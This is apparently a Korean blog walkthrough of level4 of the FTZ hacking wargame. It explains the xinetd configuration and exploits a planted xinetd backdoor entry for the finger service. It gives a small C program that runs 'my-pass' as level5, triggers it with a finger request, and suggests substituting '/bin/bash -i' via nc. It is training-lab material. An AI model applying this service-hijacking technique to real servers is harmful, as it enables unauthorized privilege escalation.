반응형

login as : level4

password : suck my brain

 


 

/etc 디렉토리는 중요한 파일들이 위치한 곳으로 패스워드 파일, 쉐도우 파일, 설정 파일 등이 들어있다.

 

/etc/xinetd.d 디렉토리 하위에 백도어가 심어져 있다고 한다.

 


Linux 부팅 순서

 

1. 부트 로더(Grub) 실행

2. 커널 이미지를 메모리에 로딩

3. /etc/inittab 파일에 있는 내용 중 선택된 모드로 init 프로세스 실행

4. xinetd 데몬에 의한 네트워크 데몬 가동

5. 부팅 완료

 

위의 5가지 순서 중 부팅이 마무리 되는 과정에서 네트워크 데몬을 가동하는 것이 xinetd 슈퍼 데몬이다.

 

네트워크 데몬 : FTP, Telnet, SSH, Apache 등과 같은 네트워크 통신을 위한 데몬

 

xinetd 슈퍼 데몬과 네트워크 데몬은 부모 프로세스와 자식 프로세의 관계인데, xinetd 슈퍼 데몬이 부모 프로세스, 네트워크 데몬이 자식 프로세스이다.

 

리눅스 서버는 Telnet, FTP, SSH, Apache, Tomcat 등 다양한 서비스를 제공할 수 있고, 안정적으로 서비스 제공을 위해서는 서버가 부팅될 때 다양한 네트워크 서비스를 관리자가 명령어를 입력해 수동으로 구동하지 않고 자동으로 서비스를 구동하도록 한다.

 

cat /etc/xinetd.conf
#
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/

defaults
{
        # xinetd 데몬에 의해 실행되는 네트워크 서비스 데몬의
        # 최대 동시 접속 허용을 위한 데몬의 기동 수치이다.
        instances               = 60
        # 시스템 로그를 "보안 및 승인에 관한 메시지 등급"으로 저장한다.
        log_type                = SYSLOG authpriv
        # 접속에 성공했을 때 원격 호스트 IP와 xinetd PID를 로그에 저장한다.
        log_on_success          = HOST PID
        # 접속에 실패했을 때 원격호스트 IP를 로그에 저장한다는 의미로
        # 접속 장애의 원인을 분석할 수 있는 최소한의 근거를 이력으로 남긴다.
        log_on_failure          = HOST
        # 동시 접속이 25개가 되면 30초 동안 서비스를 비활성화한다.
        cps                     = 25 30
}

includedir /etc/xinetd.d

 

xinetd 데몬의 설정 구조를 확인하기 위해 /etc/xinetd.conf 파일을 열어보면 위와 같다.

(/etc/xinetd.conf 파일은 xinetd 서비스의 클로벌 설정에 해당한다.)

 

각 라인들의 의미들을 각 라인들의 위에 주석으로 적혀져있다.

 

위의 파일 내용은 글로벌 설정 이므로 각 서비스에 대한 설정들을 보기 위해서 대표적으로 TELNET 서비스의 설정을 열어본다.

 

 cat /etc/xinetd.d/telnet
# default: on
# description: The telnet server serves telnet sessions; it uses \
#       unencrypted username/password pairs for authentication.
# 서비스의 이름을 의미한다.(보통 /etc/services 파일에 있는 서비스명으로 선택하는 것을 권장)
service telnet
{
        # 서비스 포트가 사용 중인 경우 해당 포트의 재사용을 허가한다.
        flags           = REUSE
        # TCP/IP 프로토콜을 선택
        socket_type     = stream
        # 이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답한다.
        # 즉, Telnet은 동시에 다수가 접속 가능하다는 의미이다.
        wait            = no
        # 해당 데몬이 root 계정의 권한으로 실행된다.
        user            = root
        # xinetd에 의해 실행될 데모 파일이다.
        server          = /usr/sbin/in.telnetd
        # 정상적인 기동에 실패한 경우 USERID를 로그에 기록한다.
        log_on_failure  += USERID
        # 데몬을 비활성화 하지 않는다.
        disable         = no
}

 

위의 내용은 TELNET 서비스의 설정 내용이며, 글로벌 설정과 같이 각 라인들의 의미는 각 라인 위에 주석으로 적혀져있다.

 


분석

 

 ls -al /etc/xinetd.d/

 

/etc/xinetd.d/ 디렉토리 하위에 백도어가 있다고 하니 위의 명령어를 입력해 하위에 있는 파일들을 조회한다.

 

여러 네트워크 서비스 데몬의 설정 파일들이 있는데 이 중 backdoor 이라는 이름으로 그룹 권한이 level4인 파일이 있다.

 

cat /etc/xinetd.d/backdoor
service finger
{
        disable = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = level5
        server          = /home/level4/tmp/backdoor
        log_on_failure  += USERID
}

 

위의 내용은 backdoor 서비스의 설정 파일 내용이다.

 

level5 계정의 권한으로 finger 이라는 서비스를 이용해 /home/level4/tmp/backdoor 파일이 실행된다는 내용이다.

 

 cat /etc/services | grep finger

 

위의 명령어를 입력하면 현재 finger 라는 이름으로 서비스 중인 포트들을 확인할 수 있다.

 

finger 서비스가 사용하는 포트는 79번 포트인 것을 확인할 수 있는데, 이는 공격할 때 79번 포트로 접속을 시도하면 된다는 것이고, 이 말은 즉 FTZ 서버에 79번 포트가 LISTEN으로 나타나야 한다는 의미이다.

 

netstat -ntlp

 

위의 명령어를 입력하면 위와 같이 79번 포트가 LISTEN 상태인 것을 확인할 수 있다.

 

 

하지만 /home/level4/tmp/ 디렉토리 하위에는 어떠한 파일도 존재하지 않는다.

 

이는 데몬을 시작하기 위한 설정 파일이 없기 때문에 네트워크 백도어가 제대로 구동하지 않는다는 것이다.

 

그렇다면 데몬을 시작하기 위한 설정 파일 backdoor 파일을 생성해주면 된다.

 


풀이

 

/etc/xinetd.d/backdoor 파일의 내용에서 finger 서비스로 요청이 들어오면 level5 계정의 권한으로 /home/level4/tmp/backdoor 프로그램을 실행한다고 되어있었다.

 

그렇다면 finger 서비스에 요청을 보내면 level5 권한을 얻을 수는 있는데 level5 계정의 비밀번호를 얻기 위해서는 backdoor 프로그램이 my-pass 명령어를 실행하도록 해야 한다.

 

그러면 finger 서비스에 요청을 보내면 level5 계정의 권한으로 /home/level4/tmp/backdoor 프로그램을 실행하고 이 프로그램은 my-pass 명령어를 실행하므로 level5 계정의 권한으로 my-pass 명령어를 실행하는 것이 된다.

 

#include <stdio.h>

int main(void)
{
        system("my-pass");

        return 0;
}

 

위의 코드를 입력해 backdoor.c 파일을 만든다.

 

 

backdoor.c를 backdoor 이름으로 컴파일 하고

 

 

finger level4@localhost

 

위의 명령어를 입력해 요청을 보내면 패스워드가 나온다.

(xinetd는 요청이 들어오면 그 요청에 맞는 서비스를 실행시키는 것이므로 외부에서 접속하는 것처럼 해야 하기 때문에 명령어를 위와 같이 작성한다.)

 

what is your name?

my-pass 명령어 대신 "/bin/bash -i" 명령어로 대체해도 되지만, 이 때 잘 실행이 되지 않을 수 있으며, 이 때는 nc로 접속해보면 된다.

반응형

+ Recent posts